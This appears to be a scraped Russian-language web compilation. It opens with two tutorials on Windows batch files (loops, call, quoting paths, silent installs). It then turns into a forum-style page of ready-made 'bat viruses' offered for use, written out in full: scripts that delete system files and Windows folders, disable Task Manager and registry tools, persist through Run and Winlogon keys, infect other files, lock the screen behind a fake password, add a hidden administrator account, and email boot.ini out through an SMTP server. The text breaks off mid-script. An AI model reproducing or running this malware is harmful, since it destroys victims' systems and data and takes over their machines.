Ключ /r указывает на необходимость обхода каталога website и всех его внутренностей. Если его не указать (но тогда и каталог указывать не разрешается), то обработаны будут только файлы в текущем каталоге. Диапазоном значений счетчика цикла в данном варианте команды является множество всех файлов с расширением .htm, находящихся внутри каталога (точнее, дерева) website. Странная на первый взгляд запись ~ni означает, что из значения переменной i требуется выделить только имя файла. В языке команд MS-DOS предусмотрено несколько таких модификаторов, например, запись ~хi обозначает расширение файла. Все модификаторы описаны в справке по команде for.

Тело цикла может состоять из нескольких команд, заключенных в скобки.

@echo off

for /r website %%i in (*.htm) do (

rem Выводим имя файла

echo %%i

rem Переименовываем файл

ren %%i %%~ni.html

)

Передача управления другому командному файлу. Команда call

Существует возможность вызвать из одного командного файла другой командный файл. Для этого служит команда call. Замечательно, переменные, заданные в вызывающем командном файле «видны» вызванному. И наоборот, после того, как вызванный файл закончит работу и вернет управление вызвавшему, последний будет «видеть» переменные, оставленные ему вызванным «в наследство». Это позволяет разработчику командных файлов действовать, например, следующим образом. Если несколько командных файлов должны пользоваться одними и теми же значениями, допустим, путями к каким-то файлам, их можно вынести в отдельный командный файл, который будет играть роль конфигурационного файла. Каждый рабочий командный файл будет начинаться вызовом конфигурационного. Выигрыш в том, что при изменении путей вносить изменения придется только в один конфигурационный файл, а не во множество рабочих.

«Конфигурационный» командный файл config.bat.

rem Путь к компилятору хелп-файлов

set help_compiler="c:\Program Files\HTML Help Workshop\hhc.exe"

rem Путь к каталогу, в котором находятся проекты хелп-файлов

set project_path=e:\work\projects\help-projects

«Рабочий» командный файл.

@echo off

rem Настраиваем переменные

call config.bat

rem Проверяем, задан ли параметр

if not exist %1.hpj (

rem Если параметр пуст, выдаем сообщение об ошибке

echo Такого проекта хелп-файла не существует.

) else (

rem Ниже расположены команды компиляции

rem Вызываем компилятор для обработки конкретного проекта,

rem имя которого передаем в первом параметре

%help_compiler% %project_path%\%1.hpj

)

12

studfiles.net

Создание bat файлов

02 апреля 2010 г.

Люди, которым знаком термин батник, знают, что BAT файлы могут существенно упростить жизнь и экономить время, если уметь их правильно писать и использовать. В этой статье я расскажу о том, как создавать BAT файлы и познакомлю вас с распространенными ошибками, которые обычно возникают при их написании.

Создать BAT файл очень просто. Достаточно открыть блокнот и сохранить пустой лист с расширением .bat, выбрав опцию Сохранить как... и написав в поле Имя файла что-нибудь оканчивающееся на .bat, например test.bat. Тип файла указываете как на скриншоте ниже - Все файлы. Сохраняете и получаете BAT файл.

Редактировать BAT файл можно в блокноте или любом другом текстовом редакторе, ориентированным на работу с кодом.

Теперь перейдем непосредственно к практической информации. В сети многие ищут ответ на вопрос Как быть с пробелами в BAT файлах?. В путях к папкам и исполняемым файлам наличие пробела вызывает ошибку. Самый распространенный ответ: Заключи путь в кавычки. И этот ответ не верен. Правда некоторые будут с пеной у рта утверждать, что он работает. Итак, появилось два почему - почему не верен и почему некоторые будут.

На Windows (как, впрочем, и на UNIX) установленные в системе программы соответствующим образом регистрируются системой. Поэтому некоторые из установленных программ могут запускаться одной простой командой из BAT файла или из апплета Выполнить панели Пуск. Одной из таких программ является Firefox:

start firefox

Если после этой команды писать путь к исполняемому файлу, то происходит следующее: запускается обозреватель Firefox и пробует обработать запрос, то есть файл, путь к которому указан. То есть, если указать следующее:

start firefox C:\Program Files\Mozilla Firefox\firefox.exe

Обозреватель откроется, чтобы не было написано после start firefox. Именно поэтому некоторые товарищи будут уверять что все прекрасно работает. Однако, если взять портативную программу, то ситуация окажется совсем иная. Рассмотрим в качестве примера ftp-клиент Filezilla. Поскольку система не знает о программе, вышеупомянутая строчка

start filezilla

работать не будет. Чтобы запустить неизвестную системе программу, надо указать к ней путь:

start D:\FileZilla\FileZilla.exe

Длинныe имена в bat-файлах

Теперь поговорим о путях и пробелах. Первый способ избежать этой проблемы - использование короткого имени.

start C:\Program Files\Sound Club\scw.exe

В примере два имени с пробелами. Заменим их короткими. Правила создания коротких имен следующие: в коротком имени используются первые шесть символов имени без учета пробелов, после имени указывают порядковый номер папки с помощью символа ~. Так как папки Program Files и Sound Club у меня в единственном числе, получится следующее:

Program Files - Progra~1 Sound Club - SoundC~1 start C:\Progra~1\SoundC~1\scw.exe

Если рядом будут присутствовать две папки, например Sound Club и Sound Clown, то следуя правилам, в примере выше надо будет указать SoundC~2, так как в этом случае Sound Club окажется вторым именем (имена считаются в алфавитном порядке).

Но этот способ неудобен тем, что приходится указывать порядковые номера. Ситуация с Program files более менее нормальная. Мало у кого встретится две подобные папки на системном диске. Но если вы решили установить несколько продуктов Mozilla на свой компьютер. У вас получится несколько папок, например:

Mozilla Firefox Mozilla Thunderbird Mozilla Sunbird

Короткими именами для них будут

Mozill~1 Mozill~2 Mozill~3

А теперь представьте, что вы написали BAT файл с упоминанием этих программ. Если удалить Firefox, оставшиеся записи перестанут работать, а если удалить Thunderbird, перестанет работать запись для Sunbird. Короче, способ с короткими именами - не наш способ.

Пробелы и кавычки в bat-файлах

Кавычки на самом деле работают, но не с теми способами, которые обычно советуют. Советуют обычно следующее:

start "C:\Program Files\Sound Club\scw.exe"

Так команда не сработает, поскольку если посмотреть справку по ней (start /?), то в справке вы увидите следующее:

START ["заголовок"] [/D путь] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED] [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL] [/NODE узел NUMA] [/AFFINITY маска сходства] [/WAIT] [/B] [команда/программа] [параметры]

Как видите, первым параметром идёт заголовок окна и он как раз в кавычках. Этот параметр необязательный, но его всё же советуют указывать (например, тут), чтобы избежать ошибок при выполнении команды. Внутри кавычек можно ничего не писать. Получится так:

start "" "C:\Program Files\Sound Club\scw.exe"

Также сработает и вариант с заключением в кавычки всех имён с пробелами по отдельности:

start C:\"Program Files"\"Sound Club"\scw.exe

Однако, в ряде случаев не работает ничего из вышеописанного. В таких случаях я могу посоветовать использовать команду cd. Переходим на системный раздел, затем с помощью cd в папку Program Files и запускаем программу (start):

%SystemDrive% cd \Program Files\Sound Club\ start scw.exe

Я думаю, что такой способ будет работать везде. Теперь еще пара важных моментов. Допустим вы создали батник, запускающий три программы и вам нужно на время исключить запуск одной из трех. Это можно сделать удалением строки или ее комментированием. Первый способ - вандальный, а второй смотрите ниже.

start firefox start jetaudio

В данном случае отключен запуск установленной в системе программы Defraggler.exe. Комментируют строки, указывая команду rem в начале строки. Все BAT файлы выполняются в окне консоли. Чтобы оно исчезало по окончании выполнения команд, не забывайте в конце писать команду на выход exit.

start firefox start jetaudio exit

Запуск приложений из bat-файла

В первой части статьи я в общих чертах рассказал о BAT файлах. Теперь стало понятно - что это такое и с чем его едят. Во второй части речь пойдет уже о более конкретных вещах. Например, о том, как при помощи BAT файла запустить несколько приложений с определенными настройками или в автоматическом режиме установить программу, чтобы не тратить время на ответы типа Вы согласны с условиями лицензионного соглашения? и не нажимать лишние кнопки.

Выше было изложено несколько способов запуска приложений при помощи BAT файла. Самый первый - это короткая команда на запуск установленной в системе программы.

start firefox

Это не всегда работает. Поэтому такой прием можно вполне применять на какой-то конкретной системе, но в качестве универсального решения он не подходит. Если есть цель заставить работать BAT файл везде и всегда, нужно пользоваться полными путями:

start C:\"Program Files"\"Mozilla Firefox"\firefox.exe

Также я отметил, что в BAT файле обязательно должна присутствовать команда на завершение:

start C:\"Program Files"\"Mozilla Firefox"\firefox.exe exit

Запуск программ в bat-файлах с параметрами (ключами)

Программу можно не просто запускать, а давать ей дополнительные команды при запуске. Например, скомандовать запускаться свернутой:

start /min D:\FileZilla\FileZilla.exe exit

Скомандовать в данном случае - значит указать ключ. Ключ указывается через слэш после основной команды (команда /ключ). Основной командой в данном случае является start. Правда ключ min работает только в половине случаев, потому как относится именно к команде запуска start, а не к программам, которые эта команда запускает.

Вообще ключей существует очень много и наборы ключей разных программ могут существенно различаться. Есть, правда, несколько общих. Например, ключ справки (/? или /help). Чтобы проследить работу этого ключа, рассмотрим практический пример. Откройте консоль (Жмёте      + R, вводите cmd, далее Enter) и набираете в консоли следующее:

start /?

Консоль выведет на экран перечень допустимых ключей c комментариями для команды start.

Обратите внимание на ключ /wait. В некоторых случаях он бывает просто незаменим. Например, вы решили с помощью BAT файла распаковать архив с программой и эту самую программу запустить. В батнике получится две команды - на распаковку и на запуск. Поскольку команды при запуске BAT файла выполнятся почти одновременно, архив распаковаться не успеет и запускать будет нечего. Поэтому будет ошибка. В этом случае на помощь придет ключ /wait:

Таким образом система сначала выполнит первое действие, дождется его завершения и только после этого приступит ко второму. Если необходимо подождать конкретный отрезок времени, то проще воспользоваться консольной утилитой Sleep. В нужном месте BAT файла пишете следующую команду (число - количество секунд):

start Sleep.exe 15

С помощью ключей можно делать многое. Есть возможность устанавливать приложения в тихом режиме. Для этого используется несколько ключей в зависимости от типа инсталятора, применяющегося для установки программы на компьютер:

/S /s /q /silent и ряд других

В ряде случаев бывает очень удобно. Антивирус Avast имеет опцию тихой установки в корпоративной версии. В бесплатной (домашней) версии тихой установки якобы нет. Однако, если вы в курсе как работает инсталятор InstallShield, вы поймете, что это утка, так как этот инсталятор сам по себе поддерживает ключ тихой установки /S. А значит все продукты, выполненные на его базе - тоже. И Avast не исключение. Просто создаете в папке с Avast'ом BAT файл с содержанием

start avast.exe /S exit

запускаете его и программа устанавливается на компьютер практически без вашего участия. Таким образом можно написать целый список программ для тихой установки и сэкономить время, например, на переустановке системы. В статье про тихую установку можно получить более подробную информацию по ключам.

Есть и другие возможности по управлению программами при помощи BAT файлов. Можно запустить программу, приказав ей открыть файл при запуске. Я пользуюсь этим способом при разработке сайтов. Очень удобно, когда весь твой инструментарий открывает нужные документы и папки нажатием всего одной кнопки:

start /min D:\FileZilla\FileZilla.exe "ftp://логин:пароль@сервер" start C:\"program files"\"mozilla firefox"\firefox.exe "http://localhost/папка_сайта/index.php" start /min C:\"Program Files"\текстовой_редактор.exe "E:\сервер\папка_сайта\index.html" start /min E:\сервер\папка_с_сайтом exit

Отмечу, что все вышеописанные приемы можно применять в различных комбинациях и сочетаниях.

start /min /wait program.exe /m /S start C:\Directory\program2.exe "C:\Files\file.odt" exit

Но важно помнить: всё, что касается выполнения запускаемой в батнике программы, пишется с ней в одной строке.

start C:\"program files"\"mozilla firefox"\firefox.exe "http://localhost/папка_сайта/index.php"

В качестве эпилога предложу для ознакомления конвертер BAT файлов в приложения формата .exe - Bat_To_Exe_Converter. BAT файл - это не всегда эстетично, а с помощью конвертера можно запаковать батник в exe'шник, оформив его любой иконкой на ваш выбор.

Наткнулся ещё на один конвертер BAT в EXE, можете рассмотреть в качестве альтернативы предыдущей программе: Advanced Bat To Exe Converter

На этом всё.

Если материалы сайта оказались для вас полезными, можете поддержать дальнейшее развитие ресурса, оказав ему (и мне ) моральную и материальную поддержку.

nevor.ru

Команды Для Bat-вирусов / Готовые Bat Вирусы | GuardianeLinks

Простенькие вирусы:

Убирает рабочий стол @echo off reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

Выключается компьютер @echo off shutdown -s -t 1 -c "lol" >nul

Перезагрузка компьютера @echo off shutdown -r -t 1 -c "lol" >nul

Запрещает запускать программы @echo off reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul

Удаление дров @echo off del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul

Удаляет звуки Windows @echo off del "%SystemRoot%\Media" /q >nul

Запрещает заходить в панель управления@echo off reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Deletereg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мышиdel "%SystemRoot%Cursors*.*" >nul

Меняет название корзиныreg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управленияreg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Серьезные вирусы:

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)rd [Буква_Диск]: /s /q

Удаляет все файлы в program files del c:Program Files/q

Убивает процесс explorer.exetaskkill /f /im explorer.exe >nul

Создает миллион папокFOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютереdel "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul

Удаляет команду DELdel %0

Будет открывать бесконечно Paint:xStart mspaintgoto x

Изменяет расширение всех ярлыков на .txtassoc .lnk=.txt

Заражает Autoexeccopy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)@echo offchcp 1251 net user SUPPORT_388945a0 /delete net user hacker hack /add net localgroup Администраторы hacker /add net localgroup Пользователи SUPPORT_388945a0 /del reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y

сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.rundll32 user,disableoemlayer

Меняет местами кнопки мыши,но обратная смена не возможна)rundll32 user,SwapMouseButton

Удаляет ядро системыdel %systemroot%\system32\HAL.dll

Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает не только в текущем каталоге, но и надкаталоге)@echo off%[MrWeb]%if '%1=='In_ goto MrWebinif exist c:\MrWeb.bat goto MrWebruif not exist %0 goto MrWebenfind "MrWeb"<%0>c:\MrWeb.batattrib +h c:\MrWeb.bat:MrWebrufor %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben:MrWebinif exist %2.bat goto MrWebentype c:\MrWeb.bat>>%2.batecho start %2>>%2.bat%[MrWeb]%:MrWeben

Вирус заражает *.JPG в текущем каталоге@echo off%[MrWeb]%if '%1=='In_ goto MrWebinif exist c:\MrWeb.bat goto MrWebruif not exist %0 goto MrWebenfind "MrWeb"<%0>c:\MrWeb.batattrib +h c:\MrWeb.bat:MrWebrufor %%g in (*.jpg) do call c:\MrWeb In_ %%ggoto MrWeben:MrWebinif exist %2.bat goto MrWebentype c:\MrWeb.bat>>%2.batecho start %2>>%2.bat%[MrWeb]%:MrWeben

Жестокие вирусы:У вашего ламера будет глючить компьютер. @echo off echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs echo do >> %systemdrive%\windows\system32\rundll32.vbs echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs echo loop >> %systemdrive%\windows\system32\rundll32.vbs start %systemdrive%\windows\system32\rundll32.vbs reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f

Вирус который убивает Винду. Не проверяйте на своем компьютере=) @echo This virus created by LIZA @echo Virus: pcforumhack.ru™ Virus @echo Autor: LIZA @echo off echo Chr(39)>%temp%\temp1.vbs echo Chr(39)>%temp%\temp2.vbs echo on error resume next > %temp%\temp.vbs echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0 copy %¶§% %SystemRoot%\user32dll.bat reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f echo fso.deletefile "C:\ntldr",1 >> %temp%\temp.vbs reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f echo fso.deletefolder "D:\Windows",1 >> %temp%\temp.vbs echo fso.deletefolder "I:\Windows",1 >> %temp%\temp.vbs echo fso.deletefolder "C:\Windows",1 >> %temp%\temp.vbs echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs echo fso.deletefile sr+"\system32\hal.dll",1 >> %temp%\temp.vbs echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs echo fso.deletefolder sr+"\system32\dllcache",1 >> %temp%\temp.vbs echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs echo fso.deletefolder sr+"\system32\drives",1 >> %temp%\temp.vbs echo s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","forum.whack.ru™">>%temp%\temp.vbs echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","forum.whack.ru™">>%temp%\temp.vbs echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization","forum.whack.ru™">>%temp%\temp.vbs echo on error resume next > %temp%\temp1.vbs echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp1.vbs echo do>>%temp%\temp1.vbs echo fso.getfile ("A:\")>>%temp%\temp1.vbs echo loop>>%temp%\temp1.vbs echo on error resume next > %temp%\temp2.vbs echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp2.vbs echo do>>%temp%\temp2.vbs echo execute"S.Run ""%comspec% /c echo "" & Chr(7), 0, True">>%temp%\temp2.vbs echo loop>>%temp%\temp2.vbs reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disableregistrytools /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f echo set application=createobject("shell.application")>>%temp%\temp.vbs echo application.minimizeall>>%temp%\temp.vbs reg add "hklm\Software\Microsoft\Windows\CurrentVersion\run" /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f start rundll32 user32, SwapMouseButton reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d rundll32.exe /f echo i=50 >> %temp%\temp.vbs echo while i^>0 or i^<0 >> %temp%\temp.vbs echo S.popup "forum.whack.ru™",0, "forum.whack.ru™",0+16 >> %temp%\temp.vbs echo i=i-1 >> %temp%\temp.vbs echo wend >> %temp%\temp.vbs echo do >> %temp%\temp.vbs echo wscript.sleep 200 >> %temp%\temp.vbs echo s.sendkeys"{capslock}" >> %temp%\temp.vbs echo wscript.sleep 200 >> %temp%\temp.vbs echo s.sendkeys"{numlock}" >> %temp%\temp.vbs echo wscript.sleep 200 >> %temp%\temp.vbs echo s.sendkeys"{scrolllock}" >> %temp%\temp.vbs echo loop>> %temp%\temp.vbs echo Set oWMP = CreateObject("WMPlayer.OCX.7") >> %temp%\temp.vbs echo Set colCDROMs = oWMP.cdromCollection >> %temp%\temp.vbs echo if colCDROMs.Count ^>= 1 then >> %temp%\temp.vbs echo For i = 0 to colCDROMs.Count - 1 >> %temp%\temp.vbs echo colCDROMs.Item(i).eject >> %temp%\temp.vbs echo next >> %temp%\temp.vbs echo End If >> %temp%\temp.vbs echo Call SendPost("smtp.mail.ru", "forum.whack.ru™@mail.ru", "[email protected]", "...", "Копм заражен!") >> %temp%\temp.vbs echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs echo Set Flds = iConf.Fields >> %temp%\temp.vbs echo Flds.Item("

") = 2 >> %temp%\temp.vbs echo Flds.Item("") = 1 >> %temp%\temp.vbs echo Flds.Item("") = "support" >> %temp%\temp.vbs echo Flds.Item("") = "support" >> %temp%\temp.vbs echo Flds.Item("") = "smtp.mail.ru" >> %temp%\temp.vbs echo Flds.Item("") = 25 >> %temp%\temp.vbs echo Flds.Update >> %temp%\temp.vbs echo iMsg.Configuration = iConf >> %temp%\temp.vbs echo iMsg.To = strTo >> %temp%\temp.vbs echo iMsg.From = strFrom >> %temp%\temp.vbs echo iMsg.Subject = strSubject >> %temp%\temp.vbs echo iMsg.TextBody = strBody >> %temp%\temp.vbs echo iMsg.AddAttachment "c:\boot.ini" >> %temp%\temp.vbs echo iMsg.Send >> %temp%\temp.vbs echo End Function >> %temp%\temp.vbs echo Set iMsg = Nothing >> %temp%\temp.vbs echo Set iConf = Nothing >> %temp%\temp.vbs echo Set Flds = Nothing >> %temp%\temp.vbs

echo s.run "shutdown -r -t 0 -c ""pcforumhack.ru™"" -f",1 >> %temp%\temp.vbs start %temp%\temp.vbs start %temp%\temp1.vbs start %temp%\temp2.vbs

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)@echo off CHCP 1251 cls Set Yvaga=На вашем компьютере найден вирус. Set pass=Пароль Set pas=Введите пароль. Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль Set dim=Выключаю вирус... title Внимание!!! CHCP 866 IF EXIST C:\windows\boot.bat ( goto ok ) cls IF NOT EXIST C:\windows\boot.bat ( ECHO Windows Registry Editor Version 5.00 >> C:\0.reg ECHO. >> C:\0.reg ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg ECHO. >> C:\0.reg ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg start/wait regedit -s C:\0.reg del C:\0.reg ECHO @echo off >>C:\windows\boot.bat ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat ECHO start sys.bat >>C:\windows\boot.bat attrib +r +a +s +h C:\windows\boot.bat copy virus.bat c:\windows\sys.bat attrib +r +a +s +h C:\windows\sys.bat GOTO end) :ok cls Echo %Yvaga% echo. echo %virus% echo %pas% set /a choise = 0 set /p choise=%pass%: if "%choise%" == "101" goto gold if "%choise%" == "200393" goto status exit :status echo %dim% attrib -r -a -s -h C:\windows\boot.bat del C:\windows\boot.bat attrib -r -a -s -h C:\windows\sys.bat del C:\windows\sys.bat cls :gold start C:\ :end

Добавляет программу в автозагрузку ОСcopy ""%0"" "%SystemRoot%\system32\File.bat" reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.@Echo off Echo Virus Loading Date 13.09.96 If exist c:ski.bat goto abc Copy %0 c:ski.bat Attrib +h c:ski.bat Echo c:ski.bat >>autoexec.bat :abc md PRIDUROK md LUZER md DURAK md LAMER Label E: PRIDUROK assoc .exe=.mp3 del c:Program Files/q Echo VIRUS LOAD

@echo off chcp 1251 echo щаска... color 4 @echo Вас собирается ~CENS~: ZhenyaZERO

@echo Автор вируса: ZhenyaZERO

@echo Условия: если вам попался этот файл, сразу его удаляйте. Этот файл был создан исключительно для ютуба. Использование этого видео в других целях запрещено. pause echo Этап 1: Создание ограничений reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul @echo off reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ Хавно там всякое /F del c:Program Files/q taskkill /f /im explorer.exe >nul echo Этап 2: Ща комп начнет глючить Date 13.09.96 If exist c:ski.bat goto abc Copy %0 c:ski.bat Attrib +h c:ski.bat Echo c:ski.bat >>autoexec.bat :abc md PRIDUROK md LUZER md DURAK md LAMER Label E: PRIDUROK assoc .exe=.mp3 del c:Program Files/q echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs echo do >> %systemdrive%\windows\system32\rundll32.vbs echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs echo loop >> 